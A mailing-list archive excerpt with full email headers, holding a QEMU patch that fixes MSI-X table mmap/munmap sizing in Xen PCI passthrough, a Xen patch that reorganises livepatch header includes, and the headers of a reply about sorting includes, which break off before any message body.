 cn8IwoJmr487pe9scHjs9Fh5qEKnXkvsFd6+jAPTZp6F9PF0jv7IOCd2QoWHCF4Jm7zC6ccU4qP
 b5WLmxuJ+YWjvwr/mO/yU8OsXVSSjssFuAXE53vWQ+87BiZaQqt0EadmpKddlz4NoUU3x5APcXK
 2dyE8rtP0dhbbamFEEKNhgwr89scFkgS6GGeK4AUPsOR3M/zdjkJcsvidTr2NyT+CN1lU1j/cCg
 AbXmB47PxdmJiCWJ7L5oRo/E/xNMrjBrUGGixPfAcP6g==
X-Zone-Loop: 8faac2d88c4b1d02410f20e0c5670957f9367f422bbd
x-campaign-type: default
x-transaction-id: 9f909b2e-e8c8-4401-a03f-22e9c3d40a6f
x-swg-uid: 01-3633f46f-e195-40f0-917d-8641eb31be36
X-Mailer: Sweego
Message-ID:
 <1785511954.8631fc262581453bbf619ec5b2062170.19fb8ce47f6000e099@vates.tech>
x-swg-bid: 1785511954.8631fc262581453bbf619ec5b2062170.19fb8ce47f6000e099
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Anthony PERARD <anthony.perard@vates.tech>
To: qemu-devel@nongnu.org
Cc: Anthony PERARD <anthony.perard@vates.tech>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
	xen-devel@lists.xenproject.org
Subject: [PATCH] hw/xen-pt: Rework mapping of MSI-X related page
Date: Fri, 31 Jul 2026 17:32:05 +0200
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.190d.85dbe06311ba886a.19fb8ce456c.58c1da0940306110=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785511953773
X-purgate-ID: tlsNG-4011c0/1785511960-5A7DACFC-51A1F1CF/0/0
X-purgate-type: clean
X-purgate-size: 3874

---=Part.190d.85dbe06311ba886a.19fb8ce456c.58c1da0940306110=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

The mmap() call appears to only map the MSI-X entries but mmap will
map full pages, make that evident with ROUND_UP()=2E

pci_msix_read() will read past the current length given to mmap() as
the memory region "xen-pci-pt-msix" is been given a whole page as
size=2E

Also adjust the munmap() call to use the same length as used in
mmap()=2E And fix the pointer phys_iomem_base as it has been adjusted
with table_offset_adjust after the mmap() call=2E

Lastly, adjust the memory region "xen-pci-pt-msix" size with
msix->table_offset_adjust in case the offset isn't 0, and use ROUND_UP
instead of open coding it=2E

Signed-off-by: Anthony PERARD <anthony=2Eperard@vates=2Etech>
---
 hw/xen/xen_pt_msi=2Ec | 23 ++++++++++++++---------
 1 file changed, 14 insertions(+), 9 deletions(-)

diff --git a/hw/xen/xen_pt_msi=2Ec b/hw/xen/xen_pt_msi=2Ec
index df15ccf0d030=2E=2Ef94f1adcd576 100644
--- a/hw/xen/xen_pt_msi=2Ec
+++ b/hw/xen/xen_pt_msi=2Ec
@@ -561,12 +561,6 @@ int xen_pt_msix_init(XenPCIPassthroughState *s, uint3=
2_t base)
         msix->msix_entry[i]=2Epirq =3D XEN_PT_UNASSIGNED_PIRQ;
     }
=20
-    memory_region_init_io(&msix->mmio, OBJECT(s), &pci_msix_ops,
-                          s, "xen-pci-pt-msix",
-                          (total_entries * PCI_MSIX_ENTRY_SIZE
-                           + XC_PAGE_SIZE - 1)
-                          & XC_PAGE_MASK);
-
     rc =3D xen_host_pci_get_long(hd, base + PCI_MSIX_TABLE, &table_off);
     if (rc) {
         XEN_PT_ERR(d, "Failed to read PCI_MSIX_TABLE field\n");
@@ -588,7 +582,9 @@ int xen_pt_msix_init(XenPCIPassthroughState *s, uint32=
_t base)
     msix->table_offset_adjust =3D table_off & 0x0fff;
     msix->phys_iomem_base =3D
         mmap(NULL,
-             total_entries * PCI_MSIX_ENTRY_SIZE + msix->table_offset_adj=
ust,
+             ROUND_UP(total_entries * PCI_MSIX_ENTRY_SIZE
+                      + msix->table_offset_adjust,
+                      XC_PAGE_SIZE),
              PROT_READ,
              MAP_SHARED | MAP_LOCKED,
              fd,
@@ -605,6 +601,13 @@ int xen_pt_msix_init(XenPCIPassthroughState *s, uint3=
2_t base)
     XEN_PT_LOG(d, "mapping physical MSI-X table to %p\n",
                msix->phys_iomem_base);
=20
+    memory_region_init_io(&msix->mmio, OBJECT(s), &pci_msix_ops,
+                          s, "xen-pci-pt-msix",
+                          ROUND_UP(total_entries * PCI_MSIX_ENTRY_SIZE
+                                   + msix->table_offset_adjust,
+                                   XC_PAGE_SIZE)
+                          - msix->table_offset_adjust);
+
     memory_region_add_subregion_overlap(&s->bar[bar_index], table_off,
                                         &msix->mmio,
                                         2); /* Priority: pci default + 1 =
*/
@@ -629,8 +632,10 @@ void xen_pt_msix_unmap(XenPCIPassthroughState *s)
     if (msix->phys_iomem_base) {
         XEN_PT_LOG(&s->dev, "unmapping physical MSI-X table from %p\n",
                    msix->phys_iomem_base);
-        munmap(msix->phys_iomem_base, msix->total_entries * PCI_MSIX_ENTR=
Y_SIZE
-               + msix->table_offset_adjust);
+        munmap(msix->phys_iomem_base - msix->table_offset_adjust,
+               ROUND_UP(msix->total_entries * PCI_MSIX_ENTRY_SIZE
+                        + msix->table_offset_adjust,
+                        XC_PAGE_SIZE));
     }
=20
     memory_region_del_subregion(&s->bar[msix->bar_index], &msix->mmio);


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.190d.85dbe06311ba886a.19fb8ce456c.58c1da0940306110=---


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 15:45:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 15:45:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1379347.1624040 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wppPp-0002db-Mh; Fri, 31 Jul 2026 15:44:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1379347.1624040; Fri, 31 Jul 2026 15:44:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wppPp-0002dU-He; Fri, 31 Jul 2026 15:44:53 +0000
Received: by outflank-mailman (input) for mailman id 1379347;
 Fri, 31 Jul 2026 15:44:52 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wppPo-0002dO-50
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 15:44:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wppPn-00CcWi-I1
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 17:44:51 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a6cc2f1-5cb7-0a2a0a5109dd-0a2a450a83e6-8
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 17:44:51 +0200
Received: from [209.85.221.53] (helo=mail-wr1-f53.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a6cc2f3-f2d2-0a2a450a0019-d155dd35edda-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 17:44:51 +0200
Received: by mail-wr1-f53.google.com with SMTP id
 ffacd0b85a97d-47ddf7b09e5so1444971f8f.1
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 08:44:51 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47fd41cfdc6sm6094411f8f.8.2026.07.31.08.44.49
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Fri, 31 Jul 2026 08:44:49 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1785512691; x=1786117491; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=y8L2Noa6mtvQ0Rwoe9xnwT5fWOvaCdeM1AVuv/yBPbo=;
        b=d9mGgxDA2QrKgifjrwjECwij91kePKyIL2R7rI+lpKvEdxsmQnIrPShsHhug+TU58z
         8DGvvyaNjXE/3Fg5L8ooMSdGXCKILNj0wmDArAk7IBcBeTRr/9ngAlE0tvYyzOUv5iMP
         Mu/lmodV+3zzqXnWeZZx5L3MaFYEWNv93ptBA=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785512691; x=1786117491;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=y8L2Noa6mtvQ0Rwoe9xnwT5fWOvaCdeM1AVuv/yBPbo=;
        b=IXshfKPZ3B12QOVSngrrcoa5Ii6epHUozmpAKenaNW7CWdLByp4Nq2sXIpD7Z9cyPY
         NC7AWcSMZIEa5YDtP2vmHytgjF2JjzaEYavvxviOjZHA3A0lB+rm25hPW2RBnb94ang3
         6ZV/YOQm3wlm/HBEaIj1VP0uPsyMi+09S21JA3KIOWiB5X4U+fp8Dr/Bhka6mWfWq5Ln
         WQNfkMn3qb3L0Iv+IUkrY9JCMuMZY75mfTU42U/kQleDuzECcEMPtZ10yh+Lu0L/jdx0
         dvOMZqUQNqqyIeyBjlHEbK3KMCpvksCGVyJIhn4y1UgbJmtyjUbhy2/b8UORP8+gZfNv
         Vo+g==
X-Gm-Message-State: AOJu0YzsMBg9pF4EG2cd0Emd5737OL6daO8+Gf/BRx5gKCtYKYy43Mxe
	xKV2w8Orzz/lcYsG/T/ifFAc7UD07m1mZGB8SHaHDot7Bkzm2QRDGY5qKsfCpORaZyyC65FceH3
	KhEPc3l4=
X-Gm-Gg: AR+sD12+6Agv7V+Mz71iEC4uyqOK6TrMeDff2sRiOXq0JzzOugJPEYIOPWrRpqwwRu5
	zISOLlOCQ+3fb1wA27vStpDKzv/C2+9I3XnTxJxoxXbZe4fMQxSGER2nbrzZLNuppruPpghbOLL
	H93B0/GsRei2DbdOSHYXU0xYd1SFT40NLWYpmXZyp7VqDZae7atEO05cFH2c/ef1JYIqX8e7mcF
	g7uH4C4L8RGC5CJZBja8tjxpnde87u1BGgRRlRJ40Td3r2XpgUVOhA3/WG7QTfVu4tEIWnpRXxZ
	0raqZWPHRrCqKAJ5HRzfHvjU6kKmEJ4X/eDWMn6P41VCcgHRflZmlglB+YVJgeLv32xmPHRpzdI
	Uoi6rWcl6VQAD0kBZDIQUSSMX8AAJPcuKCU037PPn1fYKHtUOjQPlG1mZn4lz3oBBKQiBDz0T2k
	URBW1zKo18kMPFkJam3VZy1Lo2BMRw9UlvmU73a+MB/Qxqm9EuYZiz4xucDqpEOiRMi1xQFbN3Y
	YymAuliyZgAtlV4k+QDqr95BzPPafT+XjPyMJ8=
X-Received: by 2002:a05:6000:2311:b0:47f:c62e:9cbe with SMTP id ffacd0b85a97d-47fd72f08e8mr279982f8f.31.1785512690344;
        Fri, 31 Jul 2026 08:44:50 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Ross Lagerwall <ross.lagerwall@citrix.com>
Subject: [PATCH v3 2/3] xen/livepatch: Fix include hierarchy
Date: Fri, 31 Jul 2026 16:44:47 +0100
Message-Id: <20260731154447.436019-1-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
In-Reply-To: <20250509163212.2948359-3-andrew.cooper3@citrix.com>
References: <20250509163212.2948359-3-andrew.cooper3@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1785512691-4B2D8CFC-634CEAD9/10/73395122804
X-purgate-type: spam
X-purgate-size: 4140

xen/livepatch.h includes public/sysctl.h twice, which can be deduplicated, and
includes asm/livepatch.h meaning that each livepatch.c does not need to
include both.

Comment the #else and #endif cases to aid legibility.

Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
CC: Anthony PERARD <anthony.perard@vates.tech>
CC: Michal Orzel <michal.orzel@amd.com>
CC: Jan Beulich <jbeulich@suse.com>
CC: Julien Grall <julien@xen.org>
CC: Roger Pau MonnÃ© <roger@xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>
CC: Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
CC: Bertrand Marquis <bertrand.marquis@arm.com>
CC: Oleksii Kurochko <oleksii.kurochko@gmail.com>
CC: Ross Lagerwall <ross.lagerwall@citrix.com>

v3
 * Limit public/sysctl.h to CONFIG_LIVEPATCH builds
---
 xen/arch/arm/arm32/livepatch.c |  1 -
 xen/arch/arm/arm64/livepatch.c |  1 -
 xen/arch/arm/livepatch.c       |  1 -
 xen/arch/x86/livepatch.c       |  1 -
 xen/include/xen/livepatch.h    | 12 ++++++------
 5 files changed, 6 insertions(+), 10 deletions(-)

diff --git a/xen/arch/arm/arm32/livepatch.c b/xen/arch/arm/arm32/livepatch.c
index 134d07a175bb..8541c71d6e2e 100644
--- a/xen/arch/arm/arm32/livepatch.c
+++ b/xen/arch/arm/arm32/livepatch.c
@@ -9,7 +9,6 @@
 #include <xen/livepatch.h>
 
 #include <asm/page.h>
-#include <asm/livepatch.h>
 
 void arch_livepatch_apply(const struct livepatch_func *func,
                           struct livepatch_fstate *state)
diff --git a/xen/arch/arm/arm64/livepatch.c b/xen/arch/arm/arm64/livepatch.c
index e135bd5bf99a..39159ba8b5bf 100644
--- a/xen/arch/arm/arm64/livepatch.c
+++ b/xen/arch/arm/arm64/livepatch.c
@@ -13,7 +13,6 @@
 
 #include <asm/bitops.h>
 #include <asm/insn.h>
-#include <asm/livepatch.h>
 
 void arch_livepatch_apply(const struct livepatch_func *func,
                           struct livepatch_fstate *state)
diff --git a/xen/arch/arm/livepatch.c b/xen/arch/arm/livepatch.c
index 3805b2974663..2fbb7bce60bb 100644
--- a/xen/arch/arm/livepatch.c
+++ b/xen/arch/arm/livepatch.c
@@ -11,7 +11,6 @@
 #include <xen/vmap.h>
 
 #include <asm/cpufeature.h>
-#include <asm/livepatch.h>
 
 /* Override macros from asm/page.h to make them work with mfn_t */
 #undef virt_to_mfn
diff --git a/xen/arch/x86/livepatch.c b/xen/arch/x86/livepatch.c
index be40f625d206..bdca355dc6cc 100644
--- a/xen/arch/x86/livepatch.c
+++ b/xen/arch/x86/livepatch.c
@@ -17,7 +17,6 @@
 #include <asm/endbr.h>
 #include <asm/fixmap.h>
 #include <asm/nmi.h>
-#include <asm/livepatch.h>
 #include <asm/setup.h>
 
 static bool has_active_waitqueue(const struct vm_event_domain *ved)
diff --git a/xen/include/xen/livepatch.h b/xen/include/xen/livepatch.h
index 45c8924f3412..b40928c3e646 100644
--- a/xen/include/xen/livepatch.h
+++ b/xen/include/xen/livepatch.h
@@ -14,12 +14,14 @@ struct xen_sysctl_livepatch_op;
 #include <xen/elfstructs.h>
 #include <xen/errno.h> /* For -ENOSYS or -EOVERFLOW */
 
-#include <public/sysctl.h> /* For LIVEPATCH_OPAQUE_SIZE */
-
 #ifdef CONFIG_LIVEPATCH
 
 #include <xen/lib.h>
 
+#include <asm/livepatch.h>
+
+#include <public/sysctl.h>
+
 /*
  * We use alternative and exception table code - which by default are __init
  * only, however we need them during runtime. These macros allows us to build
@@ -93,8 +95,6 @@ int arch_livepatch_secure(const void *va, unsigned int pages, enum va_type type)
 
 void arch_livepatch_init(void);
 
-#include <public/sysctl.h> /* For struct livepatch_func. */
-#include <asm/livepatch.h>
 int arch_livepatch_verify_func(const struct livepatch_func *func);
 
 static inline
@@ -143,7 +143,7 @@ struct payload;
 int revert_payload(struct payload *data);
 void revert_payload_tail(struct payload *data);
 
-#else
+#else /* !CONFIG_LIVEPATCH */
 
 /*
  * If not compiling with Live Patch certain functionality should stay as
@@ -165,7 +165,7 @@ static inline bool is_patch(const void *addr)
 {
     return 0;
 }
-#endif /* CONFIG_LIVEPATCH */
+#endif /* !CONFIG_LIVEPATCH */
 
 #endif /* __XEN_LIVEPATCH_H__ */
 
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Fri Jul 31 15:48:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 15:48:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1379356.1624048 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wppSw-0003OR-1o; Fri, 31 Jul 2026 15:48:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1379356.1624048; Fri, 31 Jul 2026 15:48:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wppSv-0003OK-Uv; Fri, 31 Jul 2026 15:48:05 +0000
Received: by outflank-mailman (input) for mailman id 1379356;
 Fri, 31 Jul 2026 15:48:04 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wppSt-0003Ny-T9
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 15:48:04 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wppSt-00CcqY-9y
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 17:48:03 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6cc389-2eae-0a2a0a5409dd-0a2a4504ac5c-42
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 17:48:03 +0200
Received: from [52.101.46.5]
 (helo=CO1PR03CU002.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6cc3b1-b57f-0a2a45040019-34652e05ee22-3
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 17:48:02 +0200
Received: from CH8PR03MB8275.namprd03.prod.outlook.com (2603:10b6:610:2b9::7)
 by BL1PR03MB6070.namprd03.prod.outlook.com (2603:10b6:208:312::19)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.16; Fri, 31 Jul
 2026 15:47:58 +0000
Received: from CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37]) by CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37%7]) with mapi id 15.21.0270.015; Fri, 31 Jul 2026
 15:47:58 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=s40kWKylsb7WWF6gsm7AIl7IDncDLklTlce54zMVtQCtSElyWzIRM/r5rsF5FH43mfQ7T6JKHqvtGMv1Yw9bun/x6weSYWEpKadSnN85JaU00xrIYb2P5H6tNkp1mVPU9VStc0oL6CImfYge6s6mU8DEgY1w4Ox988No/heHcFboV6iPsUvraoCb9C+mjhyfSCmuTc9l5xVwrMrUg5IrctFwprNmjN9eN5SOMiViMuRqtxcyjZQNENmuIh6Ry68xkBMcWsFeOwZGmBLGyoViR4A570TO+LBFAYuWeK9BJU1Ud8hscHswink4C5wgmMP1g+6eYulNEwBqFNPCH1MbXw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=pGuhuLUS6vlyOAdNT1kpxvb01n9f8TwtdSfC04CHaF8=;
 b=U4+NJVcbN4dhQb2mJq0dCkuK9jCBdL7Lz8XTyHwGBENrjUT6SldnzoYCrlail8H3cO/SykaE3i1iDSLEVfmnNbjUYUWD04uqWRD+PKlv1sO7bVsq6dlAVT3zEWREvjBDAwdoRlByYshyGGcj6KTQNegEfE4gnMOWiyYGVVM8pnQdjQ7HcfL0lFgRq685Dr7hvZ++oftQk5a97Kkw3B0Cnu6xJ9NS7rwaCiQrnjO132yAVQbkuU5l5KudiryLcqp+95FpuHLEM7rkZ8K1ZZDnEjnq9wuLhBvQtSnmzsbbxE/1zOL9D+nljwG0Qv+U94qazRgm9ihSG6jSWiuDLvF5Aw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=pGuhuLUS6vlyOAdNT1kpxvb01n9f8TwtdSfC04CHaF8=;
 b=kXuCO12pd45zE3mKvIIkoHVjmjPZLok4G/OaBnJhAwWwWTm46ElV0RDIYsCYKEvLlCK1KrBSlMLt3v5jeTHRR5XbQYr0kidh3H3nzkaMaVCjrrekgAx83O892KZJZRin0fh/jDC5toafDoKXf2xtvDw1Asd/dw8uEyPMpVJrXSw=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <eb913bb7-4c42-4c58-8a3b-5d80ad6ebbe0@citrix.com>
Date: Fri, 31 Jul 2026 16:47:54 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Jan Beulich
 <jbeulich@suse.com>, Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>
Subject: Re: [PATCH v2 3/3] xen: Sort includes
To: Xen-devel <xen-devel@lists.xenproject.org>
References: <20250509163212.2948359-1-andrew.cooper3@citrix.com>
 <20250509163212.2948359-4-andrew.cooper3@citrix.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5QnjhehCVPEpE6y9ZjI4XB8ad1G4oBHVGK5LMsvg22PfMJ
 ISWFSHoF/B5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v4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <20250509163212.2948359-4-andrew.cooper3@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P123CA0133.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:193::12) To CH8PR03MB8275.namprd03.prod.outlook.com
 (2603:10b6:610:2b9::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8275:EE_|BL1PR03MB6070:EE_
X-MS-Office365-Filtering-Correlation-Id: 4b15a20b-e72e-4510-fd0d-08deef1b1879
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|7416014|376014|366016|1800799024|56012099006|11063799006|4143699003|10067099003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	XIVH7ade0drpNeTLu9RPFJC3bvzCufRorb2OIh+qRaiV2P8tnCVgKxFFl0tNmIvSLYOrcWPAUcS98nHqjFYeapnxp1k598SE5nIQkjI/QZEMheZor9b+h7jTD/gSnlxy/4Zbg7YGw29cDesJZo90XDUA13LdcnvpEP2n6ggACzXnzUXR464hQo0HI5rZeQX8/5SL/2kFebLpmgaQFWp76iezB8r5PsU5Rnf4NMk3POlGB+i+Bwc3yZHf6bfvdsI+f2HwYnHUAe+wK0866z9G6cNfViarPg08UoiS0GInL3uHlbspnP31NoP1P3tmY4QF/+Jb5HKczut4zUPFwUURFbjvNutBSiTSiDhOQIB/ImeJmUfyHiKFs9PcanViMTJADR7TlWQf9z2stcVQEveMrlnd4JHy32Jqucby9jSh/z0vWmC6T0p9aQi6nOZDJZNlqffnJ9AaRiOEWEHKQlkMSCLnRyvT7pZ74oCPlzXAzHCPYUdwA6iGFSFZQ8HeO8iR6WUUp6LwzqH/Mc+pxLZMsibMqioLHqY/L97ECt3Prq1QBqPHw8cQTR7N3AXy83FWAMnjhKGl2imfMuh0HbGA9EF83AEShGEovQILbqJKSEd/EUn6scVxjkWF0KYSuVtxDxInpcb7miK/vP7ixgD2Wh+VX/fw7rCA8CwLeI2RBi8=
X-Forefront-Antispam-Report:
